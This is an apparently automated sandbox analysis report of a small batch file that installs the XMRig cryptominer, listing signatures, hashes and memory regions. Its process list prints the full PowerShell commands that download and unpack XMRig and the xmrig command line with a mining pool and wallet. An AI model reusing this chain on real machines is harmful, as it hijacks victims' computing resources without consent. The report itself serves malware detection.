Analysis

  • max time kernel
    1795s
  • max time network
    1795s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23-12-2023 23:02

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2452
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1952
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3196

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    f645bc2e6c6615113e527f8fa0132221

    SHA1

    5a11e598ce54ebc23c895211c85467d2a4925ed0

    SHA256

    8a45ab461706e2a48d7788182e7f412d1b9cec69317cdd1e410281d6787f1ada

    SHA512

    fe85c263f7597f6afbdeb78fccb866b32b45a8d25cbe32ade8956fe9e1b63694aec097e8993fc3d1715a46bc343187b30eeefe5656d10c11a7ea23292f744403

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3o0sn0xu.jqx.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    349KB

    MD5

    0e16c546b873e7b4ddca042283be2b34

    SHA1

    aa91595d7cd551e9e6dadb85583527641d4c5127

    SHA256

    a2582d262feee3aefd6c27239a3c4baf0df14bfad1338ba5df9e3b0ed4cbd418

    SHA512

    ca857047baecbec2180a69f397b899ba9ae23b71de8c88744fcb4917f9e4bde5be68bdb080bf4adcec52a0143936afc281a4e7ed6554a23cda392785f585f5b4

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    243KB

    MD5

    bfc3a14097f9979746059c1722f00ea9

    SHA1

    57052cda15f91f59263f137bde60d059cc073c05

    SHA256

    83773164905b66fe3a9ada02a4fd611f1a017a2cead336bb7ef0e725995b7b5c

    SHA512

    116cbda39a491e298bcb2a002a3aaaaeca02f7993059f592b72a6d132e8fa6bcf7fb2c9cce1283de42cc629cab120e1085cb8f1b014d064c190161b4dceb644d

  • memory/1952-38-0x0000012D28580000-0x0000012D28590000-memory.dmp

    Filesize

    64KB

  • memory/1952-76-0x0000012D288F0000-0x0000012D28902000-memory.dmp

    Filesize

    72KB

  • memory/1952-35-0x00007FF9E2530000-0x00007FF9E2F1C000-memory.dmp

    Filesize

    9.9MB

  • memory/1952-113-0x00007FF9E2530000-0x00007FF9E2F1C000-memory.dmp

    Filesize

    9.9MB

  • memory/1952-62-0x0000012D28580000-0x0000012D28590000-memory.dmp

    Filesize

    64KB

  • memory/1952-36-0x0000012D28580000-0x0000012D28590000-memory.dmp

    Filesize

    64KB

  • memory/1952-89-0x0000012D28850000-0x0000012D2885A000-memory.dmp

    Filesize

    40KB

  • memory/2452-6-0x00007FF9E2530000-0x00007FF9E2F1C000-memory.dmp

    Filesize

    9.9MB

  • memory/2452-4-0x0000021380350000-0x0000021380372000-memory.dmp

    Filesize

    136KB

  • memory/2452-9-0x00000213801B0000-0x00000213801C0000-memory.dmp

    Filesize

    64KB

  • memory/2452-7-0x00000213801B0000-0x00000213801C0000-memory.dmp

    Filesize

    64KB

  • memory/2452-25-0x00000213801B0000-0x00000213801C0000-memory.dmp

    Filesize

    64KB

  • memory/2452-30-0x00007FF9E2530000-0x00007FF9E2F1C000-memory.dmp

    Filesize

    9.9MB

  • memory/2452-10-0x0000021398650000-0x00000213986C6000-memory.dmp

    Filesize

    472KB

  • memory/3196-141-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-151-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-118-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-120-0x0000025A964F0000-0x0000025A96510000-memory.dmp

    Filesize

    128KB

  • memory/3196-119-0x0000025A962C0000-0x0000025A962E0000-memory.dmp

    Filesize

    128KB

  • memory/3196-121-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-122-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-123-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-125-0x0000025A964F0000-0x0000025A96510000-memory.dmp

    Filesize

    128KB

  • memory/3196-124-0x0000025A962C0000-0x0000025A962E0000-memory.dmp

    Filesize

    128KB

  • memory/3196-126-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-127-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-128-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-129-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-130-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-131-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-132-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-133-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-134-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-135-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-136-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-137-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-138-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-139-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-140-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-116-0x0000025A02310000-0x0000025A02330000-memory.dmp

    Filesize

    128KB

  • memory/3196-142-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-143-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-144-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-145-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-146-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-147-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-148-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-149-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-150-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-117-0x0000025A95E80000-0x0000025A95EA0000-memory.dmp

    Filesize

    128KB

  • memory/3196-152-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-153-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-154-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-155-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-156-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-157-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-158-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-159-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-160-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-161-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-162-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-163-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-164-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-165-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-166-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-167-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-168-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-169-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-170-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-171-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-172-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-173-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-174-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-175-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-176-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-177-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-178-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-179-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-180-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-181-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-182-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-183-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB

  • memory/3196-184-0x00007FF6DB910000-0x00007FF6DC413000-memory.dmp

    Filesize

    11.0MB